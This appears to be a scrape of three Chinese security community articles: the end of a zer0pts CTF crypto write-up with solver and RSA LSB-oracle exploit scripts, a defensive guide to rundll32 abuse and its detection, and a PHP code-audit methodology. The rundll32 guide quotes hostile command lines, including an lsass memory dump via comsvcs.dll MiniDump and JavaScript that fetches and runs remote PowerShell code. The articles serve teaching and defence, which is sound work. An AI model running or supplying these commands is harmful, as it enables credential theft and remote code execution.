f2 = 20683250518964539499743236211758446075493369914357947433664010111557386690597414223589079715811588368007495910608948249861895863617100579847236455467224717178523894669994061392037830812205180324552823269953637928728164642186434056742879218600096103755434917880264040400650648342866168452385107624119439408338
f3 = 54742007403838576083280460926516622009313375660420799532948920081179573104166771663999158568213339071633546108762492607056095924066485504644067464691028954666921392129006205771697546186615831688090037710332007896626736848265236140709460769552186985903606415208499524690638870733997541149897334701132413864757
f4 = 104612185372307123889261423380527433207182261932406237220535766660030754896583229323486263416945727455007797802148750452425797403609760186023040328241627778088075923004028425940451135110952368917054973615687681702393281934556919767118900921276977924309159457952894383855226407844289098743539806796821526698515
f5 = 29708217301991320530581690195693774548993971219288304983622128711255491646232601302092149732307102700626739970578885493492329522432347723561395539134342684442494209630846087330262818306752864785395128006191227634540543362715161482433791492073571875506211859005180660302516586880061144931959870897186694406563
kPRIME = f4 - 3*f3 + 3*f2 - f1
gPRIME = f5 - 3*f4 + 3*f3 - f2
PRIME = gcd(kPRIME, gPRIME)
执行脚本即可得到结果为：
140585567122378862387104433378097105120106057511025955512802421136855440421614185899958244529701650817503511020188836292478670779814576900422759506984678502999493277664214634568035779278461927226052502979829431711487256538346323453537408181700897043465882187108267957591896672793679696301352653014000083503049
该数确实是一个1024位的素数，那么我们这里的恢复可以认为是没有问题的，有了PRIME之后，我们只需依次恢复出多项式的系数即可，其中常数项即为flag：
from Crypto.Util.number import *
f1 = 2435914717685014138649749236252905405722244694217680922681036751164195655875157002256026859740475344129647207688117380843197222261605411632547300570215065622883430626991992801471988987720414826443330294552571798697565316320513515219156268420705277864644965968187930985261740670894980651003125565782603329258
f2 = 20683250518964539499743236211758446075493369914357947433664010111557386690597414223589079715811588368007495910608948249861895863617100579847236455467224717178523894669994061392037830812205180324552823269953637928728164642186434056742879218600096103755434917880264040400650648342866168452385107624119439408338
f3 = 54742007403838576083280460926516622009313375660420799532948920081179573104166771663999158568213339071633546108762492607056095924066485504644067464691028954666921392129006205771697546186615831688090037710332007896626736848265236140709460769552186985903606415208499524690638870733997541149897334701132413864757
f4 = 104612185372307123889261423380527433207182261932406237220535766660030754896583229323486263416945727455007797802148750452425797403609760186023040328241627778088075923004028425940451135110952368917054973615687681702393281934556919767118900921276977924309159457952894383855226407844289098743539806796821526698515
f5 = 29708217301991320530581690195693774548993971219288304983622128711255491646232601302092149732307102700626739970578885493492329522432347723561395539134342684442494209630846087330262818306752864785395128006191227634540543362715161482433791492073571875506211859005180660302516586880061144931959870897186694406563
PRIME = 140585567122378862387104433378097105120106057511025955512802421136855440421614185899958244529701650817503511020188836292478670779814576900422759506984678502999493277664214634568035779278461927226052502979829431711487256538346323453537408181700897043465882187108267957591896672793679696301352653014000083503049
a = ((f3 - 2*f2 + f1) * inverse(2, PRIME) % PRIME)
b = (f2 - f1 - 3*a) % PRIME
flag = (f1 - a -b) % PRIME
print long_to_bytes(flag)
执行代码即可得到flag：
zer0pts{excellent_w0rk!y0u_are_a_master_0f_crypt0!!!}
## diysig
题目描述：
I made a cipher-signature system by myself.
nc 18.179.178.246 3001
题目附件：
[diysig.zip](https://github.com/ichunqiu-resources/anquanke/raw/master/011/diysig/diysig.zip)
nc到服务器看一下，可以发现服务器提供了3个功能：
[1] Encrypt and Sign //用户输入msg，返回ENC和SIG
[2] Verify Encrypted Mesasge //用户输入ENC和SIG，服务器判断用户输入是否合法
[3] Public Key Disclosure //打印公钥(N, E)
任意一个功能执行一次后，与服务器的连接就切断了，因此本题应该是参数固定的题，审计一下`server.py`文件和`diysig`文件，可以发现本题的公钥是一直不变的，即功能3的打印结果是一直不变的。在功能1我们输入msg后，其ENC是对msg使用RSA加密得到的，其SIG是对msg使用一个自定义哈希函数得到的，ENC和SIG的生成过程中都没有引入随机数，即在功能1中输入同样的msg得到的结果也是一直不变的。本题还提供给了选手一个`chall.txt`文件，该给了我们作者某一次使用功能1时得到的ENC和SIG，我们的任务就是恢复出该次作者输入的msg。
观察功能2，可以发现当我们输入的ENC和SIG不合法时，服务器会打印出我们输入的ENC对应的正确的SIG，审计生成SIG的哈希函数，可以发现该哈希函数是将msg做了一系列运算，其中最后一步运算（Stage
3）如下：
H = H | 1 if m & 1 else H & 0xfffffffe
可以看到当m为奇数时，H也为奇数；当m为偶数时，H也为偶数，即m和H的奇偶性是一致的，因此当我们使用功能2输入一个不合法的ENC和SIG后，服务器会泄露SIG的值，我们可以借此来获得SIG的奇偶性，也就意味着我们知道了msg的奇偶性，即msg的最后一比特可以泄露出来，这样功能2就相当于变成了一个标准的RSA
LSB oracle，我们可以输入任意密文，然后获得明文的最后一比特（关于RSA LSB
attack可以参考[这里](https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack)），因此我们可以写出exp如下：
import decimal
from pwn import *
from Crypto.Util.number import *
ct = 0x3cfa0e6ea76e899f86f9a8b50fd6e76731ca5528d59f074491ef7a6271513b2f202f4777f48a349944746e97b9e8a4521a52c86ef20e9ea354c0261ed7d73fc4ce5002c45e7b0481bb8cbe6ce1f9ef8228351dd7daa13ccc1e3febd11e8df1a99303fd2a2f789772f64cbdb847d6544393e53eee20f3076d6cdb484094ceb5c1
n = 0x6d70b5a586fcc4135f0c590e470c8d6758ce47ce88263ff4d4cf49163457c71e944e9da2b20c2ccb0936360f12c07df7e7e80cd1f38f2c449aad8adaa5c6e3d51f15878f456ceee4f61547302960d9d6a5bdfad136ed0eb7691358d36ae93aeb300c260e512faefe5cc0f41c546b959082b4714f05339621b225608da849c30f
e = 0x10001
enc_of_2 = pow(2, e, n)
def oracle(ct):
r = remote('18.179.178.246', 3001)
r.sendline('2')
_ = r.recvuntil('ENC : ')
r.sendline(hex(ct)[2:])
_ = r.recvuntil('SIG : ')
r.sendline('00000000')
_ = r.recvuntil('!= ')
res = int(r.recvline().strip(), 16)
r.close()
return res & 1
def partial(ct, n):
k = n.bit_length()
decimal.getcontext().prec = k
lo = decimal.Decimal(0)
hi = decimal.Decimal(n)
for i in range(k):
possible_pt = (lo + hi) / 2
if not oracle(ct):
hi = possible_pt
else:
lo = possible_pt
ct = (ct * enc_of_2) % n
return int(hi)
msg = partial((ct * enc_of_2) % n, n)
print long_to_bytes(msg)
执行exp即可恢复出flag：
zer0pts{n3v3r_r3v34l_7h3_LSB}
## ROR
题目描述：
LOL
题目附件：
[ROR.zip](https://github.com/ichunqiu-resources/anquanke/raw/master/011/ROR/ROR.zip)
审计一下代码，可以发现程序循环m.bit_length次（m即int.from_bytes(flag,
byteorder=’big’)），每次打印pow(ror(m, i, m.bit_length()), e,
N)的值，然后将结果提供给选手，要求选手恢复出m，其中ror为一个自定义函数：
ror = lambda x, l, b: (x >> l) | ((x & ((1<<l)-1)) << (b-l))
不难看出该函数实际上就是一个循环右移函数，即本题中是依次对m的每个比特进行RSA加密，这里RSA加密使用的n和e没有直接给出，但是给出了n和e的生成函数：
N = 1
for base in [2, 3, 7]:
N *= pow(base, random.randint(123, 456))
e = random.randint(271828, 314159)
可以看出N可以表示为`(2^x) * (3^y) * (7^z)`，根据实数乘法的奇偶性规律：
奇 * 奇 = 奇
偶 * 偶 = 偶
奇 * 偶 = 奇
我们可知N恒为偶数，同时根据：
当A > B时：
若B为偶数，A % B的奇偶性同A的奇偶性一致
若B为奇数，A % B的奇偶性同A的奇偶性相反
当A < B时：
A % B的奇偶性与A一致
可知此时pow(m, e, n)的奇偶性和m的奇偶性一致，因此我们拿到的结果当中每一行结果的最后1比特即为m的最后1比特，因此我们可以写出solver如下：
from Crypto.Util.number import *
f = open('chall.txt', 'rb').read()
data = f.split('\n')[:-1]
m = ''
for i in data:
m += str(int(i) & 1)
print long_to_bytes(int(m[::-1], 2))
执行代码即可得到flag：
zer0pts{0h_1t_l34ks_th3_l34st_s1gn1f1c4nt_b1t}
## nibelung
题目描述：
nc 18.179.178.246 3002
题目附件：
[nibelung.zip](https://github.com/ichunqiu-resources/anquanke/raw/master/011/nibelung/nibelung.zip)
审计一下源码，可知本题使用的`FiniteGeneralLinearGroup`类实际上是一个有限域上的矩阵乘法类，设X是明文矩阵，U为密钥矩阵，Y为密文矩阵，则其加解密算法为：
Y = U * X * U**-1
X = U**-1 * Y * U
其中明文矩阵是通过bytes2gl函数生成：
def bytes2gl(b, n, p=None):
assert len(b) <= n * n
X = FiniteGeneralLinearGroup(n, p)
padlen = n * n - len(b)
b = bytes([padlen]) * padlen + b
for i in range(n):
for j in range(n):
X.set_at((j, i), b[i*n + j])
return X
即先在明文字符串msg的最前面padding上`n*n - len(msg)`个`bytes([n*n -len(msg)])`这一字节，然后再将每个字节转化成整数按列优先顺序依次存入n行n列的矩阵中，我们nc到本题提供的服务器上，服务器会将flag的密文矩阵和生成密钥矩阵时使用的素数p打印给选手，flag的密文矩阵为6*6矩阵，因此可知我们本题中的n为6，除了打印参数以外本题服务器端的程序主要提供了两个功能：
1. 加密功能：用户以base64形式输入明文字符串，服务器返回加密后的密文矩阵
2. 解密功能：用户以base64形式输入密文字符串，服务器返回解密后的明文矩阵
既然服务器端直接提供了解密功能，那我们直接将flag的密文矩阵送进解密功能当中就可以了吗？答案并不是，观察可知我们输入的字符串都是按一个字节一个字节去理解的，每个字节的范围是0x0到0x255，即我们输入的矩阵必须其中每个元素都不超过255，这样当我们输入一个长度为36的字符串时才会被解析成一个6*6的矩阵拿去计算，而我们本题中的密文矩阵，其每一个元素都约为512比特，原原大于255的范围，因此没办法直接送进解密功能拿去解密。
既然没办法直接解密，我们可以想办法拆分密文矩阵，如果我们可以把密文矩阵写成如下形式：
Y = a0 * Y0 + a1 * Y1 + ... + an * Yn
其中a_i为常数项，Y_i为所有元素均不超过255的6*6子矩阵，这样我们就可以将Y1到Yn依次送进服务器端的解密功能进行解密，从而拿到X1到Xn，此时有：
X = U**-1 * Y * U
= U**-1 * (a0 * Y0 + a1 * Y1 + ... + an * Yn) * U
= (U**-1 * a0 * Y0 * U) + (U**-1 * a1 * Y1 * U) + ... + (U**-1 * an * Yn * U)
= (U**-1 * a0 * U * X0 * U**-1 * U) + (U**-1 * a1 * U * X1 * U**-1 * U) + ... + (U**-1 * an * U * Xn * U**-1 * U)
= a0 * X0 + a1 * X1 + ... + an * Xn
这样一来我们就可以拿到X，继而得到flag，那么接下来我们就是想办法将密文矩阵Y拆成这种形式，一种可行的拆法可以表示如下：
Y = a_(0,0) * Y_(0,0) + a_(0,1) * Y_(0,1) + ... + a_(n,n) * Y_(n,n)
其中a _(i,j)表示Y中坐标为(i,j)处的元素值，Y_
(i,j)表示坐标(i,j)处元素值为1、其余位置元素值均为0的矩阵，这样既可达成我们的目标，我们将上述推导过程写成代码形式如下：
#!/usr/bin/env/ python3
from pwn import *
from base64 import *
from Crypto.Util.number import *
from fglg import FiniteGeneralLinearGroup
def list2FGLG(n, p, l):
X = FiniteGeneralLinearGroup(n, p)
for i in range(n):
for j in range(n):
X.set_at((j, i), l[i][j])
return X
def get_list(r):
_ = r.recvline()
Y = []
for i in range(6):
item = r.recvline()
Y.append([i for i in map(int,item.strip().replace(b'[',b'').replace(b']',b'').split(b','))])
return Y
def decrypt(r, bytes_Y, n, p):
r.sendline('2')
_ = r.recvuntil('Data: ')
r.sendline(b64encode(bytes_Y))
X = get_list(r)
X = list2FGLG(n, p, X)
return X
n = 6
r = remote('127.0.0.1', 23456)
Y = get_list(r)
_ = r.recvuntil('p = ')
p = int(r.recvline().strip())
Y = list2FGLG(n, p, Y)
_ = r.recv()
Xlist = [[0]*6 for _ in range(6)]
count = 0
for i in range(n):
for j in range(n):
ct = b'\x00' * count + b'\x01' + b'\x00' * (n*n-count-1)
Xlist[i][j] = decrypt(r, ct, n, p)
count += 1
X = FiniteGeneralLinearGroup(n, p)
for i in range(n):
for j in range(n):
X += Xlist[i][j] * Y.get_at((j, i))
flag = ''
for i in range(n):
for j in range(n):
flag += chr(X.get_at((j, i)))
print(flag)
执行exp即可恢复出flag：
zer0pts{r1ng_h0m0m0rph1sm_1s_c00l}
## 参考
<https://en.wikipedia.org/wiki/Paillier_cryptosystem>
<https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing>
<https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack> | 社区文章 |
# 揭秘rundll32中的攻防对抗
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
要做好检测能力，必须得熟悉你的系统环境，只有足够了解正常行为，才能真正找出异常(Anomaly)和威胁(Threat)
在[上篇文章](https://www.anquanke.com/post/id/262742)中介绍 CS 的一些行为特征时，经常提及
rundll32.exe，哪怕非安全人员，可能对该进程都不陌生
顾名思义，rundll32.exe 可用于执行 DLL 文件，也能调用该文件中的内部函数
它的历史差不多能追溯到 Windows 95，几乎是所有 Windows 操作系统的必需组件，不能轻易地被禁用
攻击者可以借助 rundll32.exe 加载 DLL 文件中的恶意代码，避免像其它 EXE 文件一样直接在进程树中现行
另外，攻击者还可能滥用合法 DLL 文件中的导出函数，比如待会儿就会介绍到的 comsvcs.dll 和 MiniDump
除了加载 DLL 文件，rundll32.exe 还能通过 RunHtmlApplication 函数执行 JavaScript
正因为这些特性，rundll32.exe 很容易博得攻击者的青睐，在攻击技术流行度中常常名列前茅
## 常用场景
对于 rundll32.exe，最简单粗暴的用法当然是直接指定文件名称，执行目标 DLL：
— `rundll32.exe <dllname>`
当然，在我们日常使用操作系统的过程中，见得最多的可能是通过 rundll32.exe 调用某些 DLL 文件中的特定函数这一行为：
— `rundll32.exe <dllname>,<entrypoint> <optional arguments>`
譬如，在我们右键点击某文档，选择特定的“打开方式”，然后会弹出个窗口供我们指定用于打开的应用程序，实际上就相当于在后台执行了以下命令：
— `C:\Windows\System32\rundll32.exe
C:\Windows\System32\shell32.dll,OpenAs_RunDLL <file_path>`
拿修改 hosts 文件举个例子，通过 WIN+R 执行以下命令，即可弹出该选择窗口：
— `C:\Windows\System32\rundll32.exe
C:\Windows\System32\shell32.dll,OpenAs_RunDLL
C:\Windows\System32\drivers\etc\hosts`
类似行为在我们的日志中呈现出来通常会是这么个模样：
关于 shell32.dll，比较常见的函数还有 `Control_RunDLL` 和 `Control_RunDLLAsUser`，它们可以用于运行
.CPL 文件，一般主要是控制面板中的小程序
例如打开防火墙： `C:\WINDOWS\System32\rundll32.exe
C:\WINDOWS\System32\shell32.dll,Control_RunDLL
C:\WINDOWS\System32\firewall.cpl`
很显然，这里的 CPL 文件也可以被替换成恶意文件，所以一旦出现可疑的路径及文件名，我们就需要结合其它工具来检查它的合法性
关于这一攻击手法的使用细节，这篇 [Paper](https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf)
值得一读，本文就不展开阐述了
另外附上一张[表格](https://www.tenforums.com/tutorials/77458-rundll32-commands-list-windows-10-a.html)链接，其中包含了 Windows 10 上 rundll32.exe 可快速调用的命令清单及其功能含义
毕竟人生苦短，大家都没时间去记住那么多命令，但是不妨先 mark 一下，等到有需要时可以迅速查出其含义
## 攻击方式
借助 rundll32.exe 实现的攻击方式非常多，这里我只简单介绍几种比较有特色的利用姿势
### 合法的DLL调用
攻击者如果使用合法的 DLL 文件来完成攻击活动，按照传统的检测手段，确实会大大增加防守难度
例如利用 comsvcs.dll 中的 MiniDump
函数对目标进程进行内存转储，从而实现凭证窃取，参考[这里](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz#comsvcs.dll)：
— `C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump
<PID> C:\temp\lsass.dmp full`
类似的还有 advpack.dll，原本是用于帮助硬件和软件读取和验证.INF文件，也会被攻击者用做代码执行
印象比较深刻的是之前分析一些木马病毒时见过类似的使用技巧，特意搜了下，这里好像也有相关[文章](https://www.anquanke.com/post/id/97329/)：
该病毒在图片中存放恶意代码，通过白利用完成代码执行，不熟悉的小伙伴遇见了真的很容易被瞒过去：
— `c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection
c:\microsoft\360666.png,DefaultInstall`
当然，这些攻击手法在实际使用过程中肯定会有许多变种，用于绕过一些常规的检测方式，比如 MiniDump 函数的调用也可以通过编号 #24 完成
感兴趣的朋友可以看看[这里](http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/)：
### 远程代码加载
除了本地加载之外，rundll32.exe 也可以通过 RunHtmlApplication 函数执行 JavaScript 以实现远程代码加载，例如：
— `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop
-exec bypass -c IEX (New-Object
Net.WebClient).DownloadString('http://ip:port/');"`
— `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")`
值得一提的是，根据笔者的观察，目前还没怎么看到日常活动中关于 javasciprt 关键字的合理使用场景，所以通常我会直接将该特征加入检测模型
想深入了解这一攻击手法，更多内容可以看看这篇[文章](https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/)
### 滥用COM组件
关于 rundll32.exe 还有一些比较少见的命令行参数 ———— `-sta` 和 `-localserver`，它们俩都能用来加载恶意注册的 COM
组件
登上自家的 SIEM 去看看，说不定也能够发现以下活动(至少我确实根据相关数据狩猎到了一些有意思的活动:P)
— `rundll32.exe –localserver <CLSID_GUID>`
— `rundll32.exe –sta <CLSID_GUID>`
对 COM 组件不熟悉的童鞋可能需要先得去补补课，比如 ATT&CK 在持久化阶段中提及到的 [T1546.015-Component Object
Model Hijacking](https://attack.mitre.org/techniques/T1546/015/)
简单来讲，当我们看到类似的命令行参数时，最好先去看看对应注册表下的键值对是否包含恶意的 DLL 文件或 SCT 脚本
它们通常在这个位置：`\HKEY_CLASSES_ROOT\CLSID\<GUID>`，可结合下图食用
关于具体的利用原理和攻击细节可以看看[这里](https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/)，还有这篇[文章](https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/)中提到的使用 `-localserver` 作为攻击变种的使用姿势
## 检测技巧
### 命令行检测
首先让我们一起回顾一遍 rundll32.exe 的基本使用方法：
— `rundll32.exe <dllname>,<entrypoint> <optional arguments>`
从 rundll32 的文件位置开始，我们可以设定一条最基础的检测规则，因为它通常只有以下两种选择：
- C:\Windows\System32\rundll32.exe
- C:\Windows\SysWOW64\rundll32.exe (32bit version on 64bit systems)
虽然简单，但也不并一定完全无用武之地：
接着，让我们开始关注 DLL 文件和导出函数
通过前文的介绍，我们应该能达成共识： **在日常活动中，rundll32.exe 的出场次数并不少见**
对于这种可能存在较多干扰信息的情况，我习惯使用 **漏斗模型** 来帮助缩小检测范围，简单来讲就是尽你所能(不一定非得用UEBA)去建设 **行为基线**
，然后剔除正常活动，重点关注偏离动作
例如，我顺手统计了下自己电脑上出现过的 DLl 文件和导出函数，实际应用时，可以采集足够多的良性样本，充实我们的白名单，或者借此优化采日志集策略
经过像漏斗思维一样的筛选，可以缩减我们的狩猎范围，更加聚焦于异常行为，从而提高狩猎的成功率
在实际生产环境中，对于行为基线之外的活动，仍然可能包含大量业务相关的正常行为，这时还可以运用长尾分析法，关注特定阈值之下的少数可疑行为
或者我们也可以检查下有哪些不规范的文件或者函数名，比如这里我只简单设置条件为未包含关键字 “.dll”
对于之前提过 CobaltStrike 在后渗透阶段调用 rundll32.exe 的方式，就可以很轻松地通过这一技巧检测出来
另外，其实我印象比较深刻的是以前使用该技巧发现过这么一起异常行为：`rundll32.exe uwcidcx.vb,capgj`
当时只是觉得可疑，还不敢直接定性，直到写这篇文章时，在 Red Canary 的报告中发现了类似的攻击活动，且有着相同的上下文特征，才得以确认为某后门病毒
当然，这种方法可能会存在漏报，所以需要结合后文中的其它检测点搭配食用
### 敏感函数监测
前面介绍过一些使用合法的 DLL 文件及其函数完成的攻击活动，这种特定的白利用行为就需要我们重点关注了
例如 MiniDump 与其对应的函数编号 #24，其它更多的 tips 可能需要请红队成员帮帮忙，毕竟术业有专攻嘛
还有 javascript 的用法，因为它在日常行为中非常罕见，所以也可以享受下特殊待遇，加入观察名单
当然，有些特殊行为我们无法一眼定性，这时往往需要安全人员进行人工判定
对于这种场景，我们可以针对这些敏感的函数调用行为建设相应的 dashboard
例如上文提到的 `-sta` 关键字的用法，我们可能不方便根据 GUID 完成自动化研判，但是可以通过一些技巧提高狩猎效率
### 通信行为监测
根据我的观察经验，rundll32 在网络通信行为上的花样并不多，这对于我们建立异常检测模型是非常有利的
我在自己的主机上统计了下，只有实验中 beacon 通信时留下了 rundll32 的网络通信日志
当然，实验环境的数据没有说服力，而且我自己也维护了一份白名单，过滤后的数据量很少，这里只是演示下统计方式，大家可以在自己的环境中去试一试
如果有 EDR 在进程通信时能采集到相应的命令行日志，我们还可以结合进程和网络行为一起分析
而通常情况下我们的日志中可能会缺少这些字段(例如sysmon)，没关系，这时我们就一切从简
比如直接结合威胁情报食用，调用 API 查询 rundll32.exe 的目的地址是否可疑
另外，如果 rundll32.exe 存在扫描行为或者访问特殊端口(例如445、数据库端口等)，这种情况应该不用多讲了吧(PS：我还真遇过好几次)
要是还想玩点高级的，可以结合通信频率，学习下检测 beacon 的姿势，比如根据 jitter 特征检测 C2
通信，参考这篇[文章](https://posts.bluraven.io/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e)
### 异常关系检测
这部分可能涉及到的攻击手法就比较多样了，比如钓鱼邮件、webshell、计划任务或WMI等持久化中都有可能用到 rundll32.exe
所以需要对相关进程间的父子关系列一份检测清单，例如以下进程就应该划上重点：
- winword.exe
- excel.exe
- taskeng.exe
- winlogon.exe
- schtask.exe
- regsvr32.exe
- wmiprvse.exe
- wsmprovhost.exe
...
而对于清单内的进程，我们还可以借助图数据来构建 dashboard，如果有个专门的模块能够记录这些罕见的进程链，监测时便是一目了然
当然，有机会的话，也别漏掉了一些特殊的访问关系，比如 rundll32.exe 对 lsass.exe 发起高权限的进程间访问
## 小结
最后，这篇文章中贴的相关链接比较多，大部分都需要翻出去才能访问，所以如果遇到无法访问的情况其实是正常现象
有些地方的贴图不方便展示真实数据，只能贴网图或者在实验环境下截图，显示的数据样本会比较小，但是文中的结论实际上有大量样本支撑，基本可以放心食用
如有纰漏之处，或者其他有意思的发现，欢迎私信交流~~ | 社区文章 |
# PHP代码审计一条龙思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 00×0 前言
最近也是边挖src边审计代码，总结下最近的php代码审计的一些思路，我一般按照顺序往下做，限于能力水平，可能会有不对或者欠缺的地方，希望各位师傅能够指导。
## 00×1 前期工作,需要的工具（我使用的)
PHPStorm|是PHP编程语言开发的集成环境。
Fotify|代码审计静态扫描工具，商业化静态代码扫描工具，误报率相对较低。
seay|源代码审计工具
CodeQl | 高效的QL非商业的开源代码自动化审计工具。
xcheck | Xcheck 是一款静态应用安全测试工具，旨在及时发现业务代码中的安全风险，尤其是由不受信输入所触发的安全漏洞。检测范围覆盖主流 Web
安全漏洞，具备速度快、误报低和准确率高等优点。
chrome & HackerBar插件
。。。
## 00×3 明确目标
在审计之前，我们首先先确定自己此次审计的目地，我觉得会有三种情况
1. 为了提升自己的审计经验
2. 项目中为了审计出能进一步利用的漏洞，一般需要getshell、ssrf这种级别的。
3. 为了挖点洞，去换钱或者换cve&cnvd。
有什么区别呢？
为了提升审计经验，我会去重点关注历史漏洞，并去复现。
如果是为了能审出漏洞，去用作渗透中的进一步利用，那么我觉得，可以重点使用xcheck、Fotify等自动化代码审计，然后关注下面的文件上传、包含、sql注入等等有严重危害的漏洞
如果是为了挖0day，搞证书什么的，那么全方位按步骤过一遍，是不错的选择。
## 00×4 判断是否是用了框架
判断是否使用了框架，是蛮重要的，能帮助我们快速定位有用的函数集，筛选不需要去看的代码。
一般来说，我觉得使用了框架的更好审计一点，因为使用了框架的，他的函数集文件（各种方法function）会比较规整，在某些固定文件夹中，清晰可见，当然需要我们先对框架有所了解。
目前比较主流的设计模式是MVC，即多层模型（M）、视图（V）、控制器（C），在此不多赘述，php的主流框架几乎都使用了MVC设计模式。
PHP底下的开发框架目前见的比较多的有Laravel，ThinkPHP，yii等。
### 4.1. ThinkPHP框架
ThinkPHP这里需要区分TP3和TP5的差别，首先我们先来看看TP3的目录结构。（现在基于TP3的系统都很少了。。。了解一下就好
其中，Application和Public目录下面都是空的。
Application是存放项目中的重要的一些函数集，Public是公共文件夹，供用户访问的，重要的函数集千万不能放在此文件夹下。
Application目录默认是空的，但是第一次访问入口文件会自动生成，参考后面的入口文件部分。其中框架目录ThinkPHP的结构如下：
另外TP5和TP3实际上差距有点大，先看看TP5下载下来的默认文件结构。其中在public文件下有个route.php文件，它的作用是用于php自带webserver支持，可用于快速测试，启动命令：php
-S localhost:8888 router.php。而它的相关网站功能目录也需要从根目录下的index.php入手。
以下为TP5的目录结构。
一般如果是审计基于框架的cms，我不会去看框架系统目录，就是上面的ThinkPHP文件夹下的东西，第三方类库vendor也不会去先看，除非是在审计过程中流向了这些文件中，才会大概看一看，而重点在Application文件夹下做文章。
既然是MVC框架的，那么我们真正关心的是其中的控制器（C），因为功能点大部分都在C上，我们能找到的大部分漏洞也都在C上
下图为基于TP6的ThinkAdmin项目目录
app（也就是application），下面有admin、data、index、wechat几个文件夹，每个文件夹代表了一个应用，比如admin一般来说都是后台的服务，wechat为微信应用服务，每个应用下面都有Controller（控制器）、Module（模型）、View（视图，一般是html文件）
现在目录很明确，目标就很明确，拿到这样基于框架的cms，就应该知道，该重点审计的地方在哪里。
### 4.2. Laravel框架
文章地址：<https://blog.csdn.net/jiangnanqbey/article/details/80746252>
目录怎么变，MVC架构的重点还是在Controllers里
### 4.3. 如果没用框架
没用框架的话，先搞明白目录结构，一般来说
审计过程中需要关注几个点：（在我们后面开始审计的过程中，自己要注意这些地方，经常想一想）
1）函数集文件，通常命名包含function或者common等关键字，这些文件里面是一些公共的函数，提供其他文件统一调用，所以大多数文件都会在文件头部包含到其他文件。寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件，在头部一般都能找到。
2）配置文件，通常命名中包括config关键字，配置文件包括web程序运行必须的功能性配置选项以及数据库等配置信息。从这个文件中可以了解程序的小部分功能，另外看这个文件的时候注意观察配置文件中参数值是单引号还是用双引号括起来，如果是双引号可能就存在代码执行的问题了。
3）安全过滤文件，安全过滤文件对代码审计至关重要，这关系到我们挖掘到的可以点能否直接利用，通常命名中带有filter、safe、check等关键字，这类文件主要是对参数进行过滤，大多数的应用其实会在参数的输入做一下addslashes()函数的过滤。
4）index文件，index是一个程序的入口，所以通常我们只要读一读index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件，其中核心的文件有哪些。而不同目录的index文件也有不同的实现方式，建议最好将几个核心目录的index文件都通读一遍。
## 00×5 了解路由
我很喜欢Thinkphp这类框架的原因是，他们的路由很好摸清，如果在哪个方法中找到了漏洞，我就能直接根据路由访问这个方法，直接利用。
了解路由也是为了能快速定位漏洞位置，要不然，你通过审计源码找到的漏洞，却不知道在浏览器中用什么样的url去访问，这不是件很尴尬的事儿吗？
比如Thinkphp的路由有三种方式
### 5.1. 普通模式
关闭路由，完全使用默认的pathinfo方式URL：
‘url_route_on’ => false,
路由关闭后，不会解析任何路由规则，采用默认的PATH_INFO 模式访问URL：
module/controller/action/param/value/…
module就是使用的应用。
controller是控制器，跟文件名一致。
action是方法，某控制器下的方法。
param是需要的变量
value是参数
但仍然可以通过Action参数绑定、空控制器和空操作等特性实现URL地址的简化
### 5.2. 混合模式
开启路由，并使用路由+默认PATH_INFO方式的混合：
‘url_route_on’ => true,
该方式下面，只需要对需要定义路由规则的访问地址定义路由规则，其它的仍然按照默认的PATH_INFO模式访问URL。
### 5.3. 强制模式
开启路由，并设置必须定义路由才能访问：
‘url_route_on’ => true,
‘url_route_must’=> true,
这种方式下面必须严格给每一个访问地址定义路由规则，否则将抛出异常。
首页的路由规则是 `/`。
其实，在实际审计过程中，我一般会先去黑盒访问一遍功能点，分析后差不多也能知道路由怎样构成，如果有的地方不清楚，可以去源码中找路由文件
一般带有route关键词的文件，或文件夹与路由有关。
分析好路径，之后就可以真正的开始审计。
## 00×6 审计
在人工审计之前，可以使用我之前提到的xcheck、Fotify、codeql等自动化审计工具先审计一遍，根据报告，验证一遍，再往下去根据下面的步骤审一遍，一个项目，也就能审个七七八八了，深层次的利用也就得看自身的实力与经验了。
如果使用了框架，可以先看看此项目还有没有框架的漏洞存在，我就不再赘述了。
### 6.1. 鉴权
首先对于项目整体的一个权限认证做一个判断，判断是否存在越权，未授权访问的情况。
一般来说，需要权限认证的地方，是后台管理，即admin应用下的。
所以对于admin下的控制器这些方法，需要判断是否可以未授权访问。
目前对于整个后台管理鉴权的方式，一般是采用写一个基类，比如Base.php或者common.php，其中存在鉴权方法，然后在每个控制器类继承这个类。
比如[xiaohuanxiong漫画cms](https://github.com/hiliqi/xiaohuanxiong)的后台，就是采用了这种方法。
不过我也看到了，有的比较好的项目，自己二开框架，做了自己的组件，然后，每个类都继承了此组件，也是同样的原理
比如[ThinkAdmin](https://github.com/zoujingli/ThinkAdmin)，继承了自己组件的controller。
我们知道了鉴权的方式，所以我们首先看的是，如果他没有这些鉴权方式，或者其他鉴权方式也没有，那么他就会存在未授权访问，即不登录也能访问后台功能。这是很危险的，一个是管理员才能看到的敏感信息，未授权就能看到，更危险的是，结合后台的漏洞，直接未授权getshell也是很有可能的，所以鉴权我们首先去看，而且容易去看的地方。
### 6.2. 按照漏洞类型审计
我认为对于我来说，比较好的审计方法是黑盒白盒一起，根据漏洞类型一个一个的去找寻可能存在漏洞的地方，然后再回溯查看是否用户可控，以此快速定位漏洞。
